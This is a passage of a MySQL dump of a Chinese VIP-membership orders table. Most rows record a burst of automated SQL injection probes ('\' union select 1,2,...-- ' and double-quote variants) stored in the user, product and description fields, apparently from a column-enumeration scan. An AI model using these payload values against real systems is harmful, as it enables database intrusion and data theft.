'卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:39.769', '2026-03-05 04:29:39.769', NULL); -INSERT INTO `orders` VALUES ('MP20260305122939466673', 'MP20260305122939466673', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:39.925', '2026-03-05 04:29:39.925', NULL); -INSERT INTO `orders` VALUES ('MP20260305122939823237', 'MP20260305122939823237', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:39.979', '2026-03-05 04:29:39.979', NULL); -INSERT INTO `orders` VALUES ('MP20260305122939926352', 'MP20260305122939926352', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:39.820', '2026-03-05 04:29:39.820', NULL); -INSERT INTO `orders` VALUES ('MP20260305122939999955', 'MP20260305122939999955', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:39.870', '2026-03-05 04:29:39.870', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940123132', 'MP20260305122940123132', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7,8,9-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.186', '2026-03-05 04:29:40.186', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940297593', 'MP20260305122940297593', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.084', '2026-03-05 04:29:40.084', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940373711', 'MP20260305122940373711', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.238', '2026-03-05 04:29:40.238', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940697377', 'MP20260305122940697377', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.901', '2026-03-05 04:29:40.901', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940710641', 'MP20260305122940710641', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7,8-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.135', '2026-03-05 04:29:40.135', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940773838', 'MP20260305122940773838', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.033', '2026-03-05 04:29:40.033', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940842376', 'MP20260305122940842376', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.957', '2026-03-05 04:29:40.957', NULL); -INSERT INTO `orders` VALUES ('MP20260305122941050911', 'MP20260305122941050911', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4,5,6,7-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:41.233', '2026-03-05 04:29:41.233', NULL); -INSERT INTO `orders` VALUES ('MP20260305122941197720', 'MP20260305122941197720', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:41.074', '2026-03-05 04:29:41.074', NULL); -INSERT INTO `orders` VALUES ('MP20260305122941215976', 'MP20260305122941215976', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4,5,6-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:41.180', '2026-03-05 04:29:41.180', NULL); -INSERT INTO `orders` VALUES ('MP20260305122941509391', 'MP20260305122941509391', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:41.999', '2026-03-05 04:29:41.999', NULL); -INSERT INTO `orders` VALUES ('MP20260305122941618597', 'MP20260305122941618597', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:41.017', '2026-03-05 04:29:41.017', NULL); -INSERT INTO `orders` VALUES ('MP20260305122941698795', 'MP20260305122941698795', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4,5-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:41.129', '2026-03-05 04:29:41.129', NULL); -INSERT INTO `orders` VALUES ('MP20260305122942287535', 'MP20260305122942287535', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:42.098', '2026-03-05 04:29:42.098', NULL); -INSERT INTO `orders` VALUES ('MP20260305122942422771', 'MP20260305122942422771', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:42.240', '2026-03-05 04:29:42.240', NULL); -INSERT INTO `orders` VALUES ('MP20260305122942526984', 'MP20260305122942526984', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:42.048', '2026-03-05 04:29:42.048', NULL); -INSERT INTO `orders` VALUES ('MP20260305122942685693', 'MP20260305122942685693', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:42.296', '2026-03-05 04:29:42.296', NULL); -INSERT INTO `orders` VALUES ('MP20260305122942885653', 'MP20260305122942885653', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:42.184', '2026-03-05 04:29:42.184', NULL); -INSERT INTO `orders` VALUES ('MP20260305122943279917', 'MP20260305122943279917', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:43.112', '2026-03-05 04:29:43.112', NULL); -INSERT INTO `orders` VALUES ('MP20260305122944030606', 'MP20260305122944030606', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:44.324', '2026-03-05 04:29:44.324', NULL); -INSERT INTO `orders` VALUES ('MP20260305122944572678', 'MP20260305122944572678', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:44.218', '2026-03-05 04:29:44.218', NULL); -INSERT INTO `orders` VALUES ('MP20260305122944985854', 'MP20260305122944985854', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:44.270', '2026-03-05 04:29:44.270', NULL); -INSERT INTO `orders` VALUES ('MP20260305122945013789', 'MP20260305122945013789', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:45.930', '2026-03-05 04:29:45.930', NULL); -INSERT INTO `orders` VALUES ('MP20260305122945788204', 'MP20260305122945788204', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4,5,6,7,8-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:45.627', '2026-03-05 04:29:45.627', NULL); -INSERT INTO `orders` VALUES ('MP20260305122946373200', 'MP20260305122946373200', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:46.702', '2026-03-05 04:29:46.702', NULL); -INSERT INTO `orders` VALUES ('MP20260305122946393114', 'MP20260305122946393114', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4,5-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:46.390', '2026-03-05 04:29:46.390', NULL); -INSERT INTO `orders` VALUES ('MP20260305122946847097', 'MP20260305122946847097', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:46.337', '2026-03-05 04:29:46.337', NULL); -INSERT INTO `orders` VALUES ('MP20260305122946897930', 'MP20260305122946897930', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4,5,6-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:46.814', '2026-03-05 04:29:46.814', NULL); -INSERT INTO `orders` VALUES ('MP20260305122947479467', 'MP20260305122947479467', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7,8,9-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:47.825', '2026-03-05 04:29:47.825', NULL); -INSERT INTO `orders` VALUES ('MP20260305122947917581', 'MP20260305122947917581', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7,8-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:47.647', '2026-03-05 04:29:47.647', NULL); -INSERT INTO `orders` VALUES ('MP20260305122948703239', 'MP20260305122948703239', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:48.295', '2026-03-05 04:29:48.295', NULL); -INSERT INTO `orders` VALUES ('MP20260305122953053186', 'MP20260305122953053186', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4,5-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:53.214', '2026-03-05 04:29:53.214', NULL); -INSERT INTO `orders` VALUES ('MP20260305122953502696', 'MP20260305122953502696', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:53.014', '2026-03-05 04:29:53.014', NULL); -INSERT INTO `orders` VALUES ('MP20260305122953798373', 'MP20260305122953798373', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:53.166', '2026-03-05 04:29:53.166', NULL); -INSERT INTO `orders` VALUES ('MP20260305122953853438', 'MP20260305122953853438', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:53.116', '2026-03-05 04:29:53.116', NULL); -INSERT INTO `orders` VALUES ('MP20260305122953985110', 'MP20260305122953985110', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:53.065', '2026-03-05 04:29:53.065', NULL); -INSERT INTO `orders` VALUES ('MP20260305122954061783', 'MP20260305122954061783', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:54.151', '2026-03-05 04:29:54.151', NULL); -INSERT INTO `orders` VALUES ('MP20260305122954587719', 'MP20260305122954587719', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:54.205', '2026-03-05 04:29:54.205', NULL); -INSERT INTO `orders` VALUES ('MP20260305122955788341', 'MP20260305122955788341', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:55.364', '2026-03-05 04:29:55.364', NULL); -INSERT INTO `orders` VALUES ('MP20260305122956690924', 'MP20260305122956690924', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4,5,6,7-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:56.384', '2026-03-05 04:29:56.384', NULL); -INSERT INTO `orders` VALUES ('MP20260305122956696572', 'MP20260305122956696572', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4,5,6,7,8,9-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:56.487', '2026-03-05 04:29:56.487', NULL); -INSERT INTO `orders` VALUES ('MP20260305122956704147', 'MP20260305122956704147', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4,5,6,7,8-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:56.438', '2026-03-05 04:29:56.438', NULL); -INSERT INTO `orders` VALUES ('MP20260305122956832135', 'MP20260305122956832135', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4,5,6,7,8,9-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:56.176', '2026-03-05 04:29:56.176', NULL); -INSERT INTO `orders` VALUES ('MP20260305122957478775', 'MP20260305122957478775', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:57.902', '2026-03-05 04:29:57.902', NULL); -INSERT INTO `orders` VALUES ('MP20260305122957647740', 'MP20260305122957647740', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:57.608', '2026-03-05 04:29:57.608', NULL); -INSERT INTO `orders` VALUES ('MP20260305122957648705', 'MP20260305122957648705', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4,5,6,7,8,9,10-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:57.731', '2026-03-05 04:29:57.731', NULL); -INSERT INTO `orders` VALUES ('MP20260305122958003713', 'MP20260305122958003713', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4,5,6-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:58.228', '2026-03-05 04:29:58.228', NULL); -INSERT INTO `orders` VALUES ('MP20260305122958702927', 'MP20260305122958702927', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:58.821', '2026-03-05 04:29:58.821', NULL); -INSERT INTO `orders` VALUES ('MP20260305122958750152', 'MP20260305122958750152', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4,5,6,7-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:58.523', '2026-03-05 04:29:58.523', NULL); -INSERT INTO `orders` VALUES ('MP20260305123000505871', 'MP20260305123000505871', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:00.177', '2026-03-05 04:30:00.177', NULL); -INSERT INTO `orders` VALUES ('MP20260305123000629680', 'MP20260305123000629680', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4,5-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:00.925', '2026-03-05 04:30:00.925', NULL); -INSERT INTO `orders` VALUES ('MP20260305123000684024', 'MP20260305123000684024', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4,5,6-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:00.523', '2026-03-05 04:30:00.523', NULL); -INSERT INTO `orders` VALUES ('MP20260305123000791662', 'MP20260305123000791662', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4,5-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:00.353', '2026-03-05 04:30:00.353', NULL); -INSERT INTO `orders` VALUES ('MP20260305123000874050', 'MP20260305123000874050', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4,5,6,7-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:00.817', '2026-03-05 04:30:00.817', NULL); -INSERT INTO `orders` VALUES ('MP20260305123001181641', 'MP20260305123001181641', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4,5,6,7,8-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:01.618', '2026-03-05 04:30:01.618', NULL); -INSERT INTO `orders` VALUES ('MP20260305123001363030', 'MP20260305123001363030', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4,5,6,7-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:01.990', '2026-03-05 04:30:01.990', NULL); -INSERT INTO `orders` VALUES ('MP20260305123001443073', 'MP20260305123001443073', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4,5,6-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:01.810', '2026-03-05 04:30:01.810', NULL); -INSERT INTO `orders` VALUES ('MP20260305123002310792', 'MP20260305123002310792', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4,5,6,7,8-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:02.437', '2026-03-05 04:30:02.437', NULL); -INSERT INTO `orders` VALUES ('MP20260305123002559579', 'MP20260305123002559579', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4,5,6,7,8,9-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:02.919', '2026-03-05 04:30:02.919', NULL); -INSERT INTO `orders` VALUES ('MP20260305123002721683', 'MP20260305123002721683', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4,5,6,7,8-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:02.153', '2026-03-05 04:30:02.153', NULL); -INSERT INTO `orders` VALUES ('MP20260305123003041536', 'MP20260305123003041536', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4,5,6,7,8,9,10-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:03.396', '2026-03-05 04:30:03.396', NULL); -INSERT INTO `orders` VALUES ('MP20260305123003816629', 'MP20260305123003816629', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4,5,6,7,8,9-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:03.678', '2026-03-05 04:30:03.678', NULL); -INSERT INTO `orders` VALUES ('MP20260305123003880361', 'MP20260305123003880361', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4,5,6,7,8,9,10-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:03.731', '2026-03-05 04:30:03.731', NULL); -INSERT INTO `orders` VALUES ('MP20260305123004342385', 'MP20260305123004342385', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4,5,6,7,8,9,10-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:04.951', '2026-03-05 04:30:04.951', NULL); -INSERT INTO `orders` VALUES ('MP20260305123004746546', 'MP20260305123004746546', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4,5,6,7,8,9-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:04.782', '2026-03-05 04:30:04.782', NULL); -INSERT INTO `orders` VALUES ('MP20260305123007005637', 'MP20260305123007005637', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:07.932', '2026-03-05 04:30:07.932', NULL); -INSERT INTO `orders` VALUES ('MP20260305123007058589', 'MP20260305123007058589', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:07.988', '2026-03-05 04:30:07.988', NULL); -INSERT INTO `orders` VALUES ('MP20260305123007430400', 'MP20260305123007430400', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:07.834', '2026-03-05 04:30:07.834', NULL); -INSERT INTO `orders` VALUES ('MP20260305123007486408', 'MP20260305123007486408', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:07.883', '2026-03-05 04:30:07.883', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008298416', 'MP20260305123008298416', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.443', '2026-03-05 04:30:08.443', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008411338', 'MP20260305123008411338', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4,5,6,7-- ', 'vip', 'vip_annual', 